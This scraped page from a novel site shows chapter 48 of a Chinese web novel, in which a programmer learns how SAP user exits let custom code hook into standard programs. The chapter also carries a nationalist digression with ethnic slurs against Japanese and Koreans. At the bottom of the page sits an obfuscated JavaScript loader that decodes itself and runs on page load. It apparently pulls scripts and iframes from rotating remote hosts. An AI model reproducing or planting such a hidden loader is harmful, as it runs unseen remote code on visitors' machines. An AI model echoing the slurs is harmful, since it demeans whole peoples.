- 首页
- 都市
- 凡人码农加SAP加XR征服世界
- 第48章 语言(第1页)
第48章 语言(第1页)
章节目录保存书签
第二天一上班,张伟就联系了alix!说明了自己挖掘到新需求!“张伟不错啊!这个需求很有价值!值得表扬哦!给我说说,你打算怎么做!”“大概有两个思路,一个是事前控制,在录入数据的时候,进行检查,甚至可以直接从数据库抓取,毕竟系统这些数据都有啊!第二个思路是,事后再通过报表比对出有问题的数据!但是我个人更加倾向于第一个方案,毕竟在源头解决问题才是真的解决了!”张伟在电话里侃侃而谈!“不错!思路对了!我看你这个需求已经拿几天了,为什么没有第一时间找我了,你在干啥?试图怎么解决?”alix有点疑惑!“是啊,这几天我debug了标准程序,igo_gr”张伟回答道!“叮咚、噼啪!咳咳!”张伟听到了电话里传来东西掉落的声音,和咳嗽的声音!“张伟,你说啥,你debug了igo_gr?”“是啊!这几天都在debug这个事务代码,把我搞的够呛,还没搞定,不知道如何搞了!”“哈哈!nb!我当年也干过!给我讲讲你搞定来没!”“就是没搞定啊!要不是昨天强哥给我讲,有个叫啥“enhancent”曾强的技术,我估计今天还得debug!”张伟有点委屈的说!“哈哈,心里平衡了!”alix在电话那头爽朗的笑着!“吓我一跳,还以为你能搞定了!是有这么个技术!啊!等会发你一些资料,和案例,你自己研究下!不懂就问我!”“好嘞,多谢alix!”张伟回复道,挂断了电话!alix在台湾办公室,挂断电话,险些一口老血喷出来!然后就是笑得前仰后翻!lisa问到!“啥事那么开心!”“张伟,居然在debugigo_gr!哈哈!”lisa,也是差点喷出了一口水!“我记得你当年也干过!哈哈!”张伟debug是有收获的,而且是收获巨大啊!但是不能说啊,这种惊世骇俗的结论,也不是一句两句说的清楚的!sap结丹,还是蓝色儿的!还有7层?你说咋个解释嘛!还不如干脆不说!张伟查收了alix发过来的文档!开始了翻看!越看,越觉得这种设计的巧妙之处,这种解决问题的妙到毫巅!张伟真是不敢相信,居然还能这么玩!这是不得不佩服,脑洞之大,完全颠覆了张伟之前对编程的认知!张伟思考了下,自己已经有三次,对sap那帮人产生了虔诚的敬佩之感了!第一次,是结丹第4层丹时,字段层!这一层的设计,是让sap所有相同意思的字段,在不同的模块,技术名词,业务名词,定义、字段含义等等,全部完全一模一样!第二次,是结丹第6层丹时,构建的bapi体系,在时间轴和空间轴上,长久,且孜孜不倦,毫不变形的沉淀积累!第三次,就在昨天,接地7层丹时,基于bapi体系,和后面更大的函数体系,构建起来的第7层,通过架构的设定,让编码变得无比的高效,和集约!现在、此刻应该算第四次了!这个“enhancent”增强,是个什么意思呢?程序写完之后,进行编译发布后,就是一个整体了!这是程序员的共识!张伟也是一直秉承这样的思想在思考问题,否则张伟就不会去debug标准程序了!当然张伟觉得debug标准程序很有收获,那是歪打正着,相比较alix那次debug估计就没啥收获,只有痛苦和功败垂成,否则他们也不会这么看待张伟的debug!可是这个“enhancent”的做法,却是另辟蹊径!就好像一根水管,从一块地上穿过!没有任何问题,所有人也觉得没有问题!那么现在我在这块地上修了房子,需要用水了!我们正常的想法是不是,把这个水果剪断,然后中间接一个三通管,把水引出来对吧!你以为这个思路很正常!可是sap却告诉你不对!当然这样做肯定能解决问题!,可是你知道这样做工程量有多大么?首先需要挖开泥土,刨除埋在地里的水管!如果水管很小,无所谓,水浪费了也就浪费了!如果这根水管是2米直径?你还敢这样搞么?你首先需要关闭水的源头,然后在这个地方,进行分割,然后取保短期之内安装好三通管!如果慢了,下游用水的咋办?而且你新加入的三通管,和之前的融合的如何,会不会漏水?当然传统的做法,都认为这些是正常现象,也就见怪不怪了了!现在突然sap告诉张伟,你上面的操作都不对!那个位置我早就预留了一个三通管,在修建水管的时候,我就已经预留好了三通管!只是一直是关闭状态的!,!现在你要用是吧,那你先把新增的水管网建立好,然后接上我的三通管,我打开水阀就行了!你现在是不是很懵逼!我靠,你怎么知道我20年后要到这里修房子的,难道你40年前埋水管时穿越了?sap的回答的是,我不知道,但是我知道这里,肯定有除了我以外的其他人,肯定会用到,于是就在水管铺设的沿途,各种可能的地方,都留了这种三通管,只是所有的都是关闭状态!如果需要用了,直接激活打开就好!这种程序里有一个正式的名字“erexit”用户出口!张伟想,那要准备多少个用户出口,或者叫安装多少个三通管合适啊?这些三通管需要安装在哪里合适啊?张伟这个菜鸟都能想到,难道sap那帮大神想不到?如果从安装三通管的例子也很简单啊!只要是市政规划有点经验的,看到那么大一块空地,未来肯定需要建设某种设施啊,留一个在那里总没坏处!而从程序逻辑来说就更加简单了!最简的地方,就是在某类数据都处理完了,需要进行下一个阶段处理了!那么就在这个衔接的地方,放一个“erexits”,为什么这里放最好?因为我要做的标准处理都弄好啊,至于你是否有其他特殊的处理,我现在也没法穷举,那我干脆给你一个出口,你自己玩、自己捣腾,爱咋搞,咋搞!等你处理完了,咱们接着处理后面的标准程序逻辑!其实这样梳理下来,你会发现一个程序,需要预留“三通管”的地方也有限啊!真实的情况也是,最多十几个,有些是程序处理过程中的某个地方预留一个erexit,有些是界面需要出口,预留一个!至于后面的人用不用,无所谓啊,反正这种“enhancent”机制是成熟的!我只需要放上就行了!这样的处理方式,对标准程序没有任何影响,就你那边打翻天了,标准程序没有丝毫影响!如果传统的做法,就是改标准程序,也就是切断一根完整的水管,安装三通管!这个操作首先就会造成对主干线的破坏!如果首先预留了三通管,主干线不会有丝毫影响,“erexits”往外出去那端,你想咋霍霍,就咋霍霍!说个段子,只要“一个小目标的正主不倒!公子怎么玩花活都行!甚至是故意放出去搅混水!”sap这个“enhancent”的设计就是这个逻辑!“墙内红旗不倒,墙外红旗飘飘!”哈哈!张伟想,如果自己后面要设计软件、开发产品,必须也这样搞!首先是7层架构,当然其实只需要4层,第1、2层不用设计,也不用选择!第3层需要选择下!是用java,c,或者python;最重要的还是后面从第4层到第7层,再加上今天这个“erexits”nnd那就完美大发了!张伟学习到兴头上,在百度查了,夏国最nb的那些所谓的软件公司的产品,没有一家是这种架构,这种设计体系!只需要初略的看下新闻就能推导了!某软件公司,沾沾自喜的发布,我从vb开发语言换到了java,我又从java换到了python,大家鼓掌!殊不知人家sap,的第三层abap语言层,40年没变过了!打一个简单的比方吧,这个编程语言为什么重要!为什么殖民别的国家时,首先就是开展语言文字的殖民!这样就会从根上灭亡了这个文明的积累!就像夏国,不是有个段子么,幸好当年小日子没有打下来,否则夏国就有57个名族了,多一个大和名族而已!附属在汉字文化体系上的夏国有多么的厚重,这是一个小日子不可以撼动的!这是5千年延续下来的厚重势能,小日子小小的躯体,能接住这么磅礴的能量?而国内的软件之短视,不知道在同一套语言体系下积累势能是多么的重要!反而追逐语言体系的更新而沾沾自喜!就说棒子国!换了新语言体系后,发现,后辈历史书看不懂了!之前积攒下来的文化,思想要如何传承了?你说棒子国如果再换一次语言会怎么样?会不会认为圣诞节就是棒子国的了?而我大夏国,就不存在这个问题了,5千年文化在汉字的基础上,渊源流传,连绵不绝,势能之大,底蕴之厚重,气势之磅礴,滚滚向前,简直是撼天动地,势不可挡!这就是在一种语言,一种体系下常年累月,经过无数代人,贯穿960万平方公里,沉淀下来的力量!就像现在我们还能从《论语》孔子他老人家身上吸取能量!重点是夏国人在《论语》上已经吸取了几千年的能量了啊!反过来再想想,那个sap30年前的函数“bapi_vendor_dispy”现在还能用,其价值和意义有多么的厚重,就懂了吧!而反观国内软件,5年前写的还能用么?还能创造价值么?还能给产品聚集能量么?张伟的反问,他也知道得不到答案!当然国内的软件就更加不说后面那4~7层的架构设计了!张伟非常的震惊!sap都出来40年了啊,甚至源代码都能看到,可以说是某种意义上的开源!夏国的软件行业至少也有30年了吧,难道没有一家详细研究过sap?难道全国只有自己把sap结了7层丹?张伟想应该有可能,按照修仙小说的逻辑,一个星球金丹大佬是有限的!绝大多数都在某个宗门,其他的散修,要练到金丹期大佬都是凤毛麟角啊!这么看来,张伟就释怀了,地球的sap蓝丹大佬肯定首先聚集在宗门德国sap啊!其他地方的都是散修,怎么能修炼到金丹期了,更何况,都没进入正统修炼体系,如何能结丹了?这么看来,张伟觉得夏国的软件行业,还是任重而道远啊!:()凡人码农加sap加xr征服世界
上一章章节目录下一章
温馨提示:按 ←键 返回上一页, 按 →键 进入下一页,不需要加入书签,进入阅读记录方便您下次继续阅读。
凡人码农加SAP加XR征服世界所有内容均来自互联网,126文学网只为原作者作家5TTPWu的小说进行宣传。欢迎各位书友支持作家5TTPWu并收藏凡人码农加SAP加XR征服世界最新章节。
!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();